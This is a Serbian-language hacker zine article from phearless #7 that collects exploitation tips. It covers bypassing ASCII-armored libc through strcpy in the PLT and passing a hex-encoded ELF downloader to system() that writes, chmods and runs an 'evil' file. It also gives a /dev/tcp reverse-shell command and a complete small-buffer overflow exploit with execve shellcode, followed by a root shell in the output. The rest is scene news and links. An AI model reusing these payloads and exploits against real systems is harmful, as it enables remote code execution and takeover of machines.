................... ...::: phearless zine #7 :::... ................>------------[Exploitation chitchat ]------------<.............. ............................>------[ by ea ]------<............................. -Sklonite se krave, jer zivot je kratak! -Aurelijano Segundo Ok, evo mene opet. Tolko sam menjao nickove da me se mozda i ne secate, (EArthquake, Wintermuth), sad sam samo ea, dosadilo mi ostalo:). Ovaj put nemam neku posebnu temu koju obradjujem vec samo zelim da podelim neke interesantne stvarcice vezane za eksploitaciju bugova. Nemam sad bas preterano vremena za full bown tekst o necemu, mada radim na nekim stvarima, ali to verovatno nece biti do jeseni( /me se igra sa x86_64 arch:)). Ovaj tekst sam zamislio jednostavno kao nabacane parcice nekih ideja i sl. Mislim, nisam ja neki preterano iskusni koder, ali imam tu par idejica koje su pojedini ljudi lepo prihvatili, pa reko sto da ih ne podelim s ostatkom sveta, kad vec nisu nista epohalno:). Uglavnom, krajnje je vreme bilo da izadje ovaj novi phearless, e sad, ja sam sad maturirao i za matruski sam raido zaobilazenje BOF zastita na Openwall-u pa mi je ideja bila da to ide u zine. Ali, u tom radu sam zaobilazio non exec stek naravno i ascii armored libc adrese. Kako sam vec pisao o ret2lib tehnici za zaobilazenje non exec steka nema svrhe da opet obradjujem istu stvar. Zaobilazenje ascii armored libc adresa sam radio vrlo prosto , tako da ne ide da ceo tekst pisem o tome. Ovde cu samo objasniti princip koji je inace poznat, nisam izmislio nista novo, no red je da ga pomenem vec. ASCII armored libc - zaobilazenje Fora kod ascii armored libc adresa jeste to sto su sve mapirane na adrese koje sadrze NULL bajt. E sad, kako je i do sada bilo problema sa NULL bajtovima u shellcodeovima, ne trebaju nam ni sad. I kad bi pokusali da napravite ret2libc sa nekom funkcijom koja ima 0x00 u adresi nebi uspelo, string vam se prerano terminira, vrlo prosto, i jako lepo resenje. E sad, naravno postoji resenje i za ovo resenje:). Svi znamo sta je PLT (ako ne , ELF specs is a way to go). Anywayz, koristio sam unos za strcpy() funkciju u PLT da bih upisao te NULL bajtove. Fora je je vrlo prosta, prvi argument strcpy funkcije jeste adresa na koju upisujete NULL a drugi argument je adresa nekog NULL bajta bilo gde, moze recimo NULL bajt koji terminira vas string... Naravno, za to koristitite frame faking tehniku za vezivanje vise libc poziva. Frame faking sam takodje vec obradio u starom tekstu o ret2libc tehnici. Kao sto sam rekao, nista posebno, maturski za gimnaziju, nije mi ni trebalo bolje. Fora bi bila da Openwall ima ASLR, ali je josuvek na 2.4 kernelu. To bi zakomplikovalo stvari. Ali ima i tu resenja (bez bruteforce:)). Tolko o tome idemo dalje. ret2libc ideja: Anywayz, na nekom forumu sam video pitanje o ret2libc exploitima. Tacnije o tome sta proslediti system() funkciji kad vec exploitatie. Znate osnovu ret2libc exploita verovarno, ako ne imate moj tekst u nekom od prethodnih brojeva koji to pojasnjava. Dakle pitanje je sta dati kao argument system() funkciji (man system za objasnjenje). Naravno, mislilo se na remote exploite pa je bila potrebna neka vrsta port binda ili reverse shella. Jedan od ogranicavajucih faktora je to sto bi bili ograniceni na programe koji se nalaze na svim distroima. Dakle nema wget , nema perl , nista slicno. E, to je star topic bio, u medjuvremenu se na netu pojavi CodeCrunchers mailing lista. Tu je bilo mnogo ludaka , mastera asemblera i platformi na kojima rade, koji su se takmicili koji ce da napravi manji fajl koji ce da radi 2 stvari. Da skine program s interneta i da ga pokrene lokalno. Naravno, fora je bila da programce ne koristi neke vec postojece programe, odjerjene APIe, da ne bude u nekom skriptnom jeziku... U poslednje vreme sam prestao da pratim listu, tako da neznam do koliko su bajtova stigli, ali su se programcici u tom trenutku kretali oko 200kb. Tada mi je pala jedna ideja na pamet. Zasto ja nebi system() funkciji prosledio ceo taj program kao string , upisao ga u fajl i onda ga pokrenuo. Divna stvar kod system() je sto on sve sto mu date pokrece kroz vas shell. Sto znaci da vaze sve fore koje koristite i kod rada u shellu. Pajpovi za preusmeravanje outputa ( >>, << , | ...) , pokretanje programa "u pozadini" (&), , vezivanej vise komandi (;)... Divota. To bi izgledalo otprilike ovako: printf "bajtovi programaaaaaaaa" >> evil && chmod 777 evil && ./evil Na gore pomenutoj listi sam nasao na Izikov programcic pinky, on je bio jedini za linux. Posto sam jako lenj, mrzelo me je cak i da ga menjam iako je izik dao pun source, ali to sada nije bitno. Usled moje lenjosti, a i manjka vremena za ovo, nisam napisao demo exploit ili bilo sta slicno. mate priliku da vidite samo primer kako bi to izgledalo.Sve to izgleda otprilike ovako: [code] main() { system("printf \"\\x7f\\x45\\x4c\\x46\\x01\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 \\x02\\x00\\x03\\x00\\x01\\x00\\x00\\x00\\x74\\x80\\x04\\x08\\x34\\x00\\x00\\x00 \\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x34\\x00\\x20\\x00\\x01\\x00\\x00\\x00 \\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\x04\\x08 \\x00\\x80\\x04\\x08\\x29\\x01\\x00\\x00\\x29\\x01\\x00\\x00\\x05\\x00\\x00\\x00 \\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 \\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 \\x00\\x00\\x00\\x00\\x6a\\x66\\x58\\x99\\x6a\\x01\\x5b\\x52\\x53\\x6a\\x02\\x89 \\xe1\\xcd\\x80\\x5b\\x5d\\x68\\x52\\xa5\\xb5\\x77\\x66\\xbd\\xaf\\xff\\x66\\xf7\\xd5 \\x0f\\xcd\\x09\\xdd\\x55\\x43\\x6a\\x10\\x51\\x50\\xb0\\x66\\x89\\xe1\\xcd\\x80 \\x5f\\xb0\\x08\\x52\\x68\\x79\\x6f\\x79\\x6f\\x89\\xe3\\x6a\\x2a\\x59\\xcd\\x80\\x89 \\xc6\\x87\\xdf\\x68\\x0d\\x0a\\x0d\\x0a\\x68\\x2e\\x6f\\x72\\x67\\x68\\x74\\x79 \\x36\\x34\\x68\\x77\\x77\\x2e\\x74\\x68\\x74\\x3a\\x20\\x77\\x68\\x0a\\x48\\x6f \\x73\\x68\\x31\\x2e\\x31\\x0d\\x68\\x54\\x54\\x50\\x2f\\x68\\x61\\x72\\x20\\x48 \\x68\\x66\\x6f\\x6f\\x62\\x68\\x2f\\x2f\\x2f\\x2f\\x68\\x47\\x45\\x54\\x20\\xb2\\x30 \\xb0\\x04\\x89\\xe1\\xcd\\x80\\x99\\x42\\x49\\xb0\\x03\\xcd\\x80\\x81\\x39\\x0a \\x0d\\x0a\\x0d\\x75\\xf3\\xb2\\x04\\xb0\\x03\\xf8\\xcd\\x80\\x87\\xde\\x72\\xf7 \\x85\\xc0\\x74\\x05\\xb0\\x04\\xf9\\xeb\\xf1\\xb0\\x06\\xcd\\x80\\x99\\xb0\\x0b \\x89\\xfb\\x52\\x53\\xeb\\xcc\" >> evil && chmod 777 evil && ./evil"); } [/code ] ovo ce da napravi evil fajl sa ovim bajtovima, da mu promeni dozvole, i da ga pokrene, a on ce da skine sa izikovog sajta drugi programcic koji kaze hello world cini mi se. Naravno, na isti nacin mozete da pokrenete bilo koji program, jedini ogranicavajuci faktor jeste duzina stringa. ret2libc ideja (jos jedna): E ovo je opsana ideja, nije moja doduse, ali mi se bas svidja. Rec je o nekoj vrsti reverse connect shella. Radi na sledeci nacin. Prvo bindujete lokalno nc-om dva porta, recimo 4321 i 1234. A onda kao parametar system() funkciji u exploitu prosledite ovo: sh < /dev/tcp/192.168.0.1/4321 > /dev/tcp/192.168.0.1/1234 Dakle , system("sh < /dev/tcp/192.168.0.1/4321 > /dev/tcp/192.168.0.1/1234"). I kada se system() izvrsi , dobili ste reverse shell. U jedan nc bind kucate komande, a u drugi dobijate output. Mnogo jaka fora. Nasao sam je u tekstu Sebastiana Krahmera. Small buffer overflow idea: Recimoda imate overflow u nekom jako malom bufferu. EIP bi trebalo preusmeriti na adresu shellcodea. Kad se radi o lokanoj exploitaciji moze se naravno koristiti promenljiva okruzenja, sto je uglavnom preporucljivo i najlakse. Ali sta ako se radi o remote exploitaciji? Imas jako mali buffer i ne mozes u njega da stavis shellcode. Morao bi da se koristi neki egghunt shelcode ili sta vec. U sustini ideja nije nista preterano ali nema lose ako je pomenem. Jednostavno, na pocetku buffera se stavi bezuslovni jump na adresu odmah iza adrese na kojoj se nalazi EIP. Takos e buffer sastoji iz te jump instrukcije, junk-a koji je potreban da se popuni buffer, adrese kojom se prepisuje EIP i samog shellcodea. To izgleda ovako nekako: hamato:~/stack# cat vuln.c int main(int ac, char **av) { char buf[4]; if(ac == 1) return 1; strcpy(buf, av[1]); return 0; } hamato:~/stack# cat exploit.c #include #include #include #define JMP "\xeb\x0app" /* * (linux/x86) execve("/bin/sh", ["/bin/sh", NULL]) / PUSH - 23 bytes * - izik */ #define SHELLCODE \ "\x6a\x0b" \ "\x58" \ "\x99" \ "\x52" \ "\x68\x2f\x2f\x73\x68" \ "\x68\x2f\x62\x69\x6e" \ "\x89\xe3" \ "\x52" \ "\x53" \ "\x89\xe1" \ "\xcd\x80" int main(int ac, char **av) { char buffer[]= JMP "\x00\x00\x00\x00" "\x00\x00\x00\x00" SHELLCODE; char *argv[] = { "./vuln", buffer, NULL }; long offset = 0; if(ac > 1) offset = atol(av[1]); *((long *)buffer+1) = 0x41414141; *((long *)buffer+2) = 0xbffffec8 + offset; execve(argv[0], argv, NULL); return 0; } hamato:~/stack# ./exploit 0 sh-2.05a# exit exit hamato:~/stack# Isto kao kad ste ranije kod heap exploita morali da stavljate jump preko dela koji biva prepisan nekom adresom. To me je podsetilo , marcetam (secate se njega, bilo je skroz ok pricati s njim, a pozdrav njemu ako cita ovo) mi je jednom rekao da ne mora uvek da se preskace taj deo. Ako se dobro secam, ako se na tom mestu postavlja adresa sa heap-a (sto bi znacilo da je negde oko 0x0804...), onda se ne mora preskakati , jer se te adrese mogu interpretirati kao validan bytecode (ako sam u pravu obicno addl ili tako nesto, mrzi me sad da proveravam) koji nema nekog efekta na dalji tok shellcodea. Mada, opet, zasto rizikovati, bolje je staviti taj jump i biti siguran da radi. Kad smo vec kod toga, to vise nije ni bitno jer unlink tehnika exploitanja heap overflowa ne radi na novim glibc implementacijama tako da je ova prica cisto gubljenje vremena:). U medjuvremenu, dok je ovo pisano (poceo sam s ovim kad je bio naznacen prvi deadline:)) izdesavale su se neke stvari pa bi bio red da pomenem po nesto. Heheh, kao grom iz vedra neba, izadje phrack novi. Niko ga nije ni primetio. Nova ekipa, doduse nisu TESO, ali je kewl, i dosta se u celom phracku oseca taj "duh" o kom govore. Obratite paznju posebno na onaj tekst o kernel eksploitima. Kad sam vec kod kernel eksploita, Ilja van Sprundel je na CCC ove godine odrzao prezentaciju Unusual Bugs, pogledajte je , jako je dobra. Bacite pogled na ovo http://www.sabre-security.com/files/schannel.swf. Zgodna stvarcica, a? Bilo bi lepo kad bi to neko leakovao. Spominjao je neko da ima al ja nigde nisam naisao. Guess i`m not leet enough:). Ima kewl tih stvarcica koje kostaju mnogo, recimo IDA PRO 5.1 , bacite pogled na Ilfakov blog ponekad, Decompilation gets real, prilicno interesantno. Heto bih jos da pomenem neke ljude. Bacite pogled na hackaholic.org, ima kewl ljudi ciji su sajtovi hostovani tamo pored samog hackaholic sajta i foruma. Posebno infamous41mdov sajt recimo, minimalisticki dizajn sa interesantnim stvarima:) Kad sam se zamlacivao nesto s IR naleteo sam na sploitcast.com. To sam gledao Major Mallfunctionovu prezentaiju na CCC, Old Skewl Hacking , ultra kewl , obavezno pogledajte. Elem, ovi na sploitcast su imali intervju s njim. Elem, gledajuci po sajtu video sam da imaju i neke izazove s nagradnom igrom, nagrada je knjiga po zelji iz Syngress biblioteke, a postavljaju novi izazov svake nedelje. Ja sam osvojio jedan. Obicno nisu preterano teski,ali vas neko pretekne, ali ima i jopsuvek neresenih:). Uzeo sam RFID Security knjigu, i moram priznati da sam pogresio, knjiga je isuvise uopstena, nema bas mnogo tehnickih podataka, a kamoli neceg konkretnog, pisana je gotovo kao ovaj moj tekst. Ali ok je za uvod u RFID tehnologije i problematiku, mozda bude nesto od mene na tu temu ako nabavim neku opremu:). Bacite pogled i na www.awarenetwork.org. To su skroz ok ljudi (too much technology, in too little time. And little by little ... we went insane. - kako se ja nisam setio ovog slogana:)). Oni su skorije poceili da objavljuju .aware zajn, za sada samo jedan broj, ali je otvoren CFP za sledeci. Ima interesantnih stvari , pogledajte. zshzn me je cak ubedjivao da bi bilo kewl da prevodimo phearless tekstove na engleski. I ja mislim da to nebi bilo lose ali je prakticno nemoguce da se ocekuje da to radi editor, ili pak bilo ko osim autora teksta. I think that whomever wants to read some article form a zine on english should mail the autor asking for a translation. I`d be the first one to do it,the translation of my articles that is:). Tol`ko za ovaj put. E da, jos jedna stvar, nikada nemojte da radite regex-e u C-u, osim ako bas morate!